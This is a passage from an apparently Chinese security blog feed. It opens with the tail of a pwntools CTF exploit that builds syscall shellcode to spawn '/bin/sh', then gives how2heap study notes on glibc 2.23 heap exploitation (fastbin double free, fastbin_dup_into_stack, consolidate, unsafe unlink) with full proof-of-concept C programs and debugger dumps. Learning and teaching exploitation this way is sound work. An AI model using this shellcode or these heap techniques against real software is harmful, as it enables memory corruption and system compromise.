code = b&apos;&apos;

code += inst_math_reg(R_RSI, R_RSI, R_RSI, OP_XOR)
code += inst_math_reg(R_RDX, R_RDX, R_RDX, OP_XOR)
code += inst_math_reg(R_RDI, R_RDI, R_RDI, OP_XOR)
code += inst_math_reg(R_RAX, R_RAX, R_RAX, OP_XOR)

code += inst_math_imm(R_RAX, R_RAX, OP_ADD, 12, val_len=1) # RAX = 12
code += inst_syscall() 

code += inst_mov(R_RSI,R_RAX) 

# code += inst_math_imm(R_RDI, R_RAX, OP_ADD, 0x1000, val_len=8)
code += b&apos;\x02\x01\x00\x02\x10\x10\x10&apos;

code += inst_math_reg(R_RAX, R_RAX, R_RAX, OP_XOR)
code += inst_math_imm(R_RAX, R_RAX, OP_ADD, 12, val_len=1)
code += inst_syscall()

code += inst_math_reg(R_RAX, R_RAX, R_RAX, OP_XOR) 

code += inst_math_reg(R_RDI, R_RDI, R_RDI, OP_XOR)

code += inst_math_reg(R_RDX, R_RDX, R_RDX, OP_XOR) 
code += inst_math_imm(R_RDX, R_RDX, OP_ADD, 0xff, val_len=1)

code += inst_syscall()

code += inst_math_reg(R_RAX, R_RAX, R_RAX, OP_XOR)
code += inst_math_imm(R_RAX, R_RAX, OP_ADD, 59, val_len=1)


code += inst_mov(R_RDI, R_RSI)

code += inst_math_reg(R_RSI, R_RSI, R_RSI, OP_XOR)
code += inst_math_reg(R_RDX, R_RDX, R_RDX, OP_XOR)

code += inst_syscall()

p.sendafter(&quot;Enter your code:&quot;, code)

pause()
p.send(b&apos;/bin/sh\x00&apos;)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>how2heap学习记录</title><link>https://huaananan.github.io/S0ras/posts/how2heap/</link><guid isPermaLink="true">https://huaananan.github.io/S0ras/posts/how2heap/</guid><description>持续补充ing</description><pubDate>Sun, 01 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;编译指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gcc fastbin_dup.c -o a.out \
    -Wl,--rpath=/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64 \
    -Wl,--dynamic-linker=/home/pwn/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;fastbin_dup&lt;/h3&gt;
&lt;p&gt;利用 fastbins 的 double-free 攻击，可以泄漏出一块&lt;strong&gt;已经被分配的内存指针&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;fastbins 可以看成一个 LIFO 的栈，使用单链表实现，通过 fastbin-&amp;gt;fd 来遍历 fastbins&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);

    fprintf(stderr, &quot;Freeing the first one %p.\n&quot;, a);
    free(a);
    fprintf(stderr, &quot;Then freeing another one %p.\n&quot;, b);
    free(b);
    fprintf(stderr, &quot;Freeing the first one %p again.\n&quot;, a);
    free(a);

    char *d = malloc(9);
    char *e = malloc(9);
    char *f = malloc(9);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;libc-2.23 中对 double-free 的检查过程如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    /* Check that the top of the bin is not the record we are going to add
       (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = &quot;double free or corruption (fasttop)&quot;;
        goto errout;
      }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;它在检查 fast bin 的 double-free 时只是检查了第一个块。所以其实是存在缺陷的。&lt;/p&gt;
&lt;p&gt;我们double free之后，fastbins中会出现&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE)  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)  →  [loop detected]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时 chunk a 和 chunk b 似乎形成了一个环，&lt;/p&gt;
&lt;p&gt;此后的malloc会从这个环中不断地取用，而chunk a，chunk b始终是free状态&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; heap
Free chunk (fastbins) | PREV_INUSE
Addr: 0x602000
Size: 0x20 (with flag bits: 0x21)
fd: 0x602020

Free chunk (fastbins) | PREV_INUSE
Addr: 0x602020
Size: 0x20 (with flag bits: 0x21)
fd: 0x602000

Allocated chunk | PREV_INUSE
Addr: 0x602040
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x602060
Size: 0x20fa0 (with flag bits: 0x20fa1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以对于 fastbins，可以通过 double-free 泄漏出一个堆块的指针。&lt;/p&gt;
&lt;h3&gt;fastbin_dup_into_stack(double free)&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;double free&lt;/code&gt;的利用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;malloc的检查：检查块的大小&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) &amp;gt;&amp;gt; (SIZE_SZ == 8 ? 4 : 3)) - 2)

  if ((unsigned long) (nb) &amp;lt;= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      [...]

      if (victim != 0)
        {
          if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
            {
              errstr = &quot;malloc(): memory corruption (fast)&quot;;
              [...]
            }
            [...]
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;glibc 在执行分配操作时，若块的大小符合 fast bin，则会在对应的 bin 中寻找合适的块，此时 glibc 将根据候选块的 size 字段计算出 fastbin 索引，然后与对应 bin 在 fastbin 中的索引进行比较，如果二者不匹配，则说明块的 size 字段遭到破坏。所以需要 fake chunk 的 size 字段被设置为正确的值。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main() {
    unsigned long long stack_var = 0x21;
    fprintf(stderr, &quot;Allocating 3 buffers.\n&quot;);
    char *a = malloc(9);
    char *b = malloc(9);
    char *c = malloc(9);
    strcpy(a, &quot;AAAAAAAA&quot;);
    strcpy(b, &quot;BBBBBBBB&quot;);
    strcpy(c, &quot;CCCCCCCC&quot;);
    fprintf(stderr, &quot;1st malloc(9) %p points to %s\n&quot;, a, a);
    fprintf(stderr, &quot;2nd malloc(9) %p points to %s\n&quot;, b, b);
    fprintf(stderr, &quot;3rd malloc(9) %p points to %s\n&quot;, c, c);

    fprintf(stderr, &quot;Freeing the first one %p.\n&quot;, a);
    free(a);
    fprintf(stderr, &quot;Then freeing another one %p.\n&quot;, b);
    free(b);
    fprintf(stderr, &quot;Freeing the first one %p again.\n&quot;, a);
    free(a);

    fprintf(stderr, &quot;Allocating 4 buffers.\n&quot;);
    unsigned long long *d = malloc(9);
    *d = (unsigned long long) (((char*)&amp;amp;stack_var) - sizeof(d));
    fprintf(stderr, &quot;4nd malloc(9) %p points to %p\n&quot;, d, &amp;amp;d);
    char *e = malloc(9);
    strcpy(e, &quot;EEEEEEEE&quot;);
    fprintf(stderr, &quot;5nd malloc(9) %p points to %s\n&quot;, e, e);
    char *f = malloc(9);
    strcpy(f, &quot;FFFFFFFF&quot;);
    fprintf(stderr, &quot;6rd malloc(9) %p points to %s\n&quot;, f, f);
    char *g = malloc(9);
    strcpy(g, &quot;GGGGGGGG&quot;);
    fprintf(stderr, &quot;7th malloc(9) %p points to %s\n&quot;, g, g);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g fastbin_dup_into_stack.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
2nd malloc(9) 0xcf2030 points to BBBBBBBB
3rd malloc(9) 0xcf2050 points to CCCCCCCC
Freeing the first one 0xcf2010.
Then freeing another one 0xcf2030.
Freeing the first one 0xcf2010 again.
Allocating 4 buffers.
4nd malloc(9) 0xcf2010 points to 0x7ffd1e0d48b0
5nd malloc(9) 0xcf2030 points to EEEEEEEE
6rd malloc(9) 0xcf2010 points to FFFFFFFF
7th malloc(9) 0x7ffd1e0d48b0 points to GGGGGGGG
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对于 fastbins，可以通过 double-free 覆盖 fastbins 的结构，来获得一个指向任意地址的指针。&lt;/p&gt;
&lt;p&gt;在案例中便获得了&lt;code&gt;*g  --&amp;gt;	0x7ffd1e0d48b0 &lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;fastbin_dup_consolidate&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;在 large bin 的分配中 malloc_consolidate 机制绕过 fastbin 对 double free 的检查&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main() {
    void *p1 = malloc(0x10);
    void *p2 = malloc(0x10);
    strcpy(p1, &quot;AAAAAAAA&quot;);
    strcpy(p2, &quot;BBBBBBBB&quot;);
    fprintf(stderr, &quot;Allocated two fastbins: p1=%p p2=%p\n&quot;, p1, p2);

    fprintf(stderr, &quot;Now free p1!\n&quot;);
    free(p1);

    void *p3 = malloc(0x400);
    fprintf(stderr, &quot;Allocated large bin to trigger malloc_consolidate(): p3=%p\n&quot;, p3);
    fprintf(stderr, &quot;In malloc_consolidate(), p1 is moved to the unsorted bin.\n&quot;);

    free(p1);
    fprintf(stderr, &quot;Trigger the double free vulnerability!\n&quot;);
    fprintf(stderr, &quot;We can pass the check in malloc() since p1 is not fast top.\n&quot;);

    void *p4 = malloc(0x10);
    strcpy(p4, &quot;CCCCCCC&quot;);
    void *p5 = malloc(0x10);
    strcpy(p5, &quot;DDDDDDDD&quot;);
    fprintf(stderr, &quot;Now p1 is in unsorted bin and fast bin. So we&apos;will get it twice: %p %p\n&quot;, p4, p5);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g fastbin_dup_consolidate.c
$ ./a.out
Allocated two fastbins: p1=0x17c4010 p2=0x17c4030
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x17c4050
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we&apos;will get it twice: 0x17c4010 0x17c4010
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;首先分配两个 fast chunk：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p1
0x602010:   0x4141414141414141  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000020fc1  &amp;lt;-- top chunk
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;释放掉 p1，则空闲 chunk 加入到 fastbins 中：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p1 [be freed]
0x602010:   0x0000000000000000  0x0000000000000000
0x602020:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000020fc1  &amp;lt;-- top chunk
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时如果我们再次释放 p1，必然触发 double free 异常，然而，如果此时分配一个 large chunk，效果如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p1 [be freed]
0x602010:   0x00007ffff7dd1b88  0x00007ffff7dd1b88      &amp;lt;-- fd, bk pointer
0x602020:   0x0000000000000020  0x0000000000000020  &amp;lt;-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  &amp;lt;-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef➤  heap bins small
[ Small Bins for arena &apos;main_arena&apos; ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到 fastbins 中的 chunk 已经不见了，反而出现在了 small bins 中，并且 chunk p2 的 prev_size 和 size 字段都被修改。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;由于此时 p1 已经不在 fastbins 的顶部，可以再次释放 p1：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p1 [double freed]
0x602010:   0x0000000000000000  0x00007ffff7dd1b88
0x602020:   0x0000000000000020  0x0000000000000020  &amp;lt;-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  &amp;lt;-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10]  ←  Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
gef➤  heap bins small
[ Small Bins for arena &apos;main_arena&apos; ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;p1 被再次放入 fastbins，于是 p1 同时存在于 fabins 和 small bins 中。&lt;/p&gt;
&lt;p&gt;第一次 malloc，chunk 将从 fastbins 中取出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p1 [be freed], chunk p4
0x602010:   0x0043434343434343  0x00007ffff7dd1b88
0x602020:   0x0000000000000020  0x0000000000000020  &amp;lt;-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  &amp;lt;-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
gef➤  heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] 0x00
gef➤  heap bins small
[ Small Bins for arena &apos;main_arena&apos; ]
[+] small_bins[1]: fw=0x602000, bk=0x602000
 →   Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
[+] Found 1 chunks in 1 small non-empty bins.
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;第二次 malloc，chunk 从 small bins 中取出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gef➤  x/15gx 0x602010-0x10
0x602000:   0x0000000000000000  0x0000000000000021  &amp;lt;-- chunk p4, chunk p5
0x602010:   0x4444444444444444  0x00007ffff7dd1b00
0x602020:   0x0000000000000020  0x0000000000000021  &amp;lt;-- chunk p2
0x602030:   0x4242424242424242  0x0000000000000000
0x602040:   0x0000000000000000  0x0000000000000411  &amp;lt;-- chunk p3
0x602050:   0x0000000000000000  0x0000000000000000
0x602060:   0x0000000000000000  0x0000000000000000
0x602070:   0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最后得到的是chunk p4 和 p5 在同一位置，&lt;strong&gt;造成堆块的重叠&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;原理：&lt;/p&gt;
&lt;p&gt;large chunk 的分配过程：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  /*
     If this is a large request, consolidate fastbins before continuing.
     While it might look excessive to kill all fastbins before
     even seeing if there is space available, this avoids
     fragmentation problems normally associated with fastbins.
     Also, in practice, programs tend to have runs of either small or
     large requests, but less often mixtures, so consolidation is not
     invoked all that often in most programs. And the programs that
     it is called frequently in otherwise tend to fragment.
   */

  else
    {
      idx = largebin_index (nb);
      if (have_fastchunks (av))
        malloc_consolidate (av);
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;当分配 large chunk 时，首先根据 chunk 的大小获得对应的 large bin 的 index，接着判断当前分配区的 fast bins 中是否包含 chunk，如果有，调用 &lt;strong&gt;malloc_consolidate() 函数合并&lt;/strong&gt; fast bins 中的 chunk，并将这些空闲 chunk 加入 unsorted bin 中。因为这里分配的是一个 large chunk，所以 unsorted bin 中的 chunk 按照大小被放回 small bins 或 large bins 中。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;unsafe_unlink&lt;/h3&gt;
&lt;p&gt;利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;

uint64_t *chunk0_ptr;

int main() {
    int malloc_size = 0x80; // not fastbins
    							// fastbins中的堆块大小范围在0x20-0x80之间，而malloc（0x80）会申请大小为0x90的chunk，所以不会存入fastbins中
    int header_size = 2;

    chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
    uint64_t *chunk1_ptr  = (uint64_t*) malloc(malloc_size); //chunk1
    fprintf(stderr, &quot;The global chunk0_ptr is at %p, pointing to %p\n&quot;, &amp;amp;chunk0_ptr, chunk0_ptr);
    fprintf(stderr, &quot;The victim chunk we are going to corrupt is at %p\n\n&quot;, chunk1_ptr);

    // pass this check: (P-&amp;gt;fd-&amp;gt;bk != P || P-&amp;gt;bk-&amp;gt;fd != P) == False
    chunk0_ptr[2] = (uint64_t) &amp;amp;chunk0_ptr-(sizeof(uint64_t)*3);
    chunk0_ptr[3] = (uint64_t) &amp;amp;chunk0_ptr-(sizeof(uint64_t)*2);
    fprintf(stderr, &quot;Fake chunk fd: %p\n&quot;, (void*) chunk0_ptr[2]);
    fprintf(stderr, &quot;Fake chunk bk: %p\n\n&quot;, (void*) chunk0_ptr[3]);
    // pass this check: (chunksize(P) != prev_size (next_chunk(P)) == False
    // chunk0_ptr[1] = 0x0; // or 0x8, 0x80

    uint64_t *chunk1_hdr = chunk1_ptr - header_size;
    chunk1_hdr[0] = malloc_size;
    chunk1_hdr[1] &amp;amp;= ~1;

    // deal with tcache
    // int *a[10];
    // int i;
    // for (i = 0; i &amp;lt; 7; i++) {
    //   a[i] = malloc(0x80);
    // }
    // for (i = 0; i &amp;lt; 7; i++) {
    //   free(a[i]);
    // }
    free(chunk1_ptr);

    char victim_string[9];
    strcpy(victim_string, &quot;AAAAAAAA&quot;);
    chunk0_ptr[3] = (uint64_t) victim_string;
    fprintf(stderr, &quot;Original value: %s\n&quot;, victim_string);

    chunk0_ptr[0] = 0x4242424242424242LL;
    fprintf(stderr, &quot;New Value: %s\n&quot;, victim_string);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -g unsafe_unlink.c
$ ./a.out
The global chunk0_ptr is at 0x601070, pointing to 0x721010
The victim chunk we are going to corrupt is at 0x7210a0

Fake chunk fd: 0x601058
Fake chunk bk: 0x601060

Original value: AAAAAAAA
New Value: BBBBBBBB
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;unlink代码与检查如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    FD = P-&amp;gt;fd;                                      \
    BK = P-&amp;gt;bk;                                      \
    if (__builtin_expect (FD-&amp;gt;bk != P || BK-&amp;gt;fd != P, 0))              \
      malloc_printerr (check_action, &quot;corrupted double-linked list&quot;, P, AV);  \
    else {                                      \
        FD-&amp;gt;bk = BK;                                  \
        BK-&amp;gt;fd = FD;                                  \
        if (!in_smallbin_range (P-&amp;gt;size)                      \
            &amp;amp;&amp;amp; __builtin_expect (P-&amp;gt;fd_nextsize != NULL, 0)) {              \
        if (__builtin_expect (P-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize != P, 0)          \
        || __builtin_expect (P-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize != P, 0))    \
          malloc_printerr (check_action,                      \
                   &quot;corrupted double-linked list (not small)&quot;,    \
                   P, AV);                          \
            if (FD-&amp;gt;fd_nextsize == NULL) {                      \
                if (P-&amp;gt;fd_nextsize == P)                      \
                  FD-&amp;gt;fd_nextsize = FD-&amp;gt;bk_nextsize = FD;              \
                else {                                  \
                    FD-&amp;gt;fd_nextsize = P-&amp;gt;fd_nextsize;                  \
                    FD-&amp;gt;bk_nextsize = P-&amp;gt;bk_nextsize;                  \
                    P-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize = FD;                  \
                    P-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = FD;                  \
                  }                                  \
              } else {                                  \
                P-&amp;gt;fd_nextsize-&amp;gt;bk_nextsize = P-&amp;gt;bk_nextsize;              \
                P-&amp;gt;bk_nextsize-&amp;gt;fd_nextsize = P-&amp;gt;fd_nextsize;              \
              }                                      \
          }                                      \
      }                                          \
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;构造fake chunk&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/80gx 0x603000
0x603000:       0x0000000000000000      0x0000000000000091  --&amp;gt; chunk0
0x603010:       0x0000000000000000      0x0000000000000000	--&amp;gt; fake chunk,P
0x603020:       0x0000000000602060      0x0000000000602068	--&amp;gt; fd,bk
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000000      0x0000000000000000
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000091  --&amp;gt;chunk1
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/20gx 0x0000000000602060	
0x602060:       0x0000000000000000      0x00007ffff7bc5620	--&amp;gt; FD
0x602070:       0x0000000000000000      0x0000000000603010	--&amp;gt; bk
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000000
0x6020a0:       0x0000000000000000      0x0000000000000000
0x6020b0:       0x0000000000000000      0x0000000000000000
0x6020c0:       0x0000000000000000      0x0000000000000000
0x6020d0:       0x0000000000000000      0x0000000000000000
0x6020e0:       0x0000000000000000      0x0000000000000000
0x6020f0:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;pwndbg&amp;gt; x/20gx 0x0000000000602068
0x602068:       0x00007ffff7bc5620      0x0000000000000000	--&amp;gt; BK
0x602078:       0x0000000000603010--&amp;gt; fd 0x0000000000000000	
0x602088:       0x0000000000000000      0x0000000000000000
0x602098:       0x0000000000000000      0x0000000000000000
0x6020a8:       0x0000000000000000      0x0000000000000000
0x6020b8:       0x0000000000000000      0x0000000000000000
0x6020c8:       0x0000000000000000      0x0000000000000000
0x6020d8:       0x0000000000000000      0x0000000000000000
0x6020e8:       0x0000000000000000      0x0000000000000000
0x6020f8:       0x0000000000000000      0x0000000000000000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，我们在 chunk0 里构造一个 fake chunk，用 P 表示，两个指针 fd 和 bk 可以构成两条链：&lt;code&gt;P-&amp;gt;fd-&amp;gt;bk == P&lt;/code&gt;，&lt;code&gt;P-&amp;gt;bk-&amp;gt;fd == P&lt;/code&gt;，可以绕过检查&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(P-&amp;gt;fd-&amp;gt;bk != P || P-&amp;gt;bk-&amp;gt;fd != P) == False
    P-&amp;gt;fd = FD = 0x602060 
    FD-&amp;gt;bk = *0x602078 = 0x603010 = P
    
    P-&amp;gt;bk = BK = 0x602068
    BK-&amp;gt;fd = *0x602078 = 0x603010 =P
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;另外利用 chunk0 的溢出漏洞，通过修改 chunk 1 的 &lt;code&gt;prev_size&lt;/code&gt; 为 fake chunk 的大小，修改 &lt;code&gt;PREV_INUSE&lt;/code&gt; 标志位为 0，将 fake chunk 伪造成一个 free chunk。&lt;/p&gt;
&lt;p&gt;接下来就是释放掉 chunk1，这会触发 fake chunk 的 unlink 并覆盖 &lt;code&gt;chunk0_ptr&lt;/code&gt; 的值。unlink 操作是这样进行的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FD = P-&amp;gt;fd;
BK = P-&amp;gt;bk;

FD-&amp;gt;bk = BK
    *0x602078 = 0x602068
BK-&amp;gt;fd = FD
    *0x602078 = 0x602060
    
最后造成的结果便是*0x602078 = 0x602060
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24 的位置，这就意味着如果程序功能允许堆 P 进行写入，就能改写 P 指针自身的地址，从而造成任意内存写入。若允许堆 P 进行读取，则会造成信息泄漏。&lt;/p&gt;
&lt;p&gt;在这个例子中，由于 P-&amp;gt;fd-&amp;gt;bk 和 P-&amp;gt;bk-&amp;gt;fd 都指向 P，所以最后的结果为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chunk0_ptr = P = P-&amp;gt;fd
    
    
    
pwndbg&amp;gt; x/20gx 0x0000000000602060
0x602060:       0x0000000000000000      0x00007ffff7bc5620
0x602070:       0x0000000000000000      0x0000000000602060
0x602080:       0x0000000000000000      0x0000000000000000
0x602090:       0x0000000000000000      0x0000000000000000
0x6020a0:       0x0000000000000000      0x0000000000000000
0x6020b0:       0x0000000000000000      0x0000000000000000
0x6020c0:       0x0000000000000000      0x0000000000000000
0x6020d0:       0x0000000000000000      0x0000000000000000
0x6020e0:       0x0000000000000000      0x0000000000000000
0x6020f0:       0x0000000000000000      0x0000000000000000
pwndbg&amp;gt; p chunk0_ptr
$6 = (uint64_t *) 0x602060
pwndbg&amp;gt; p &amp;amp;chunk0_ptr
$7 = (uint64_t **) 0x602078 &amp;lt;chunk0_ptr&amp;gt;
    
//此时，chunk0_ptr[3]=0x602060
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时，我们可以通过写入chunk_ptr[3]来修改chunk_0ptr来进行任意地址写&lt;/p&gt;
&lt;h4&gt;prev_size检查&lt;/h4&gt;
&lt;p&gt;libc-2.25 在 unlink 的开头增加了对 &lt;code&gt;chunk_size == next-&amp;gt;prev-&amp;gt;chunk_size&lt;/code&gt; 的检查，以对抗单字节溢出的问题。补丁如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* Ptr to next physical malloc_chunk. */
#define next_chunk(p) ((mchunkptr) (((char *) (p)) + chunksize (p)))
/* Get size, ignoring use bits */
#define chunksize(p) (chunksize_nomask (p) &amp;amp; ~(SIZE_BITS))
/* Like chunksize, but do not mask SIZE_BITS.  */
#define chunksize_nomask(p)         ((p)-&amp;gt;mchunk_size)
/* Size of the chunk below P.  Only valid if prev_inuse (P).  */
#define prev_size(p) ((p)-&amp;gt;mchunk_prev_size)
/* Bits to mask off when extracting size  */
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;获取 P 的 &lt;code&gt;size&lt;/code&gt; 字段（去掉标志位）&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过指针运算找到下一个块的地址：&lt;code&gt;P的地址 + P的大小(0x100)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
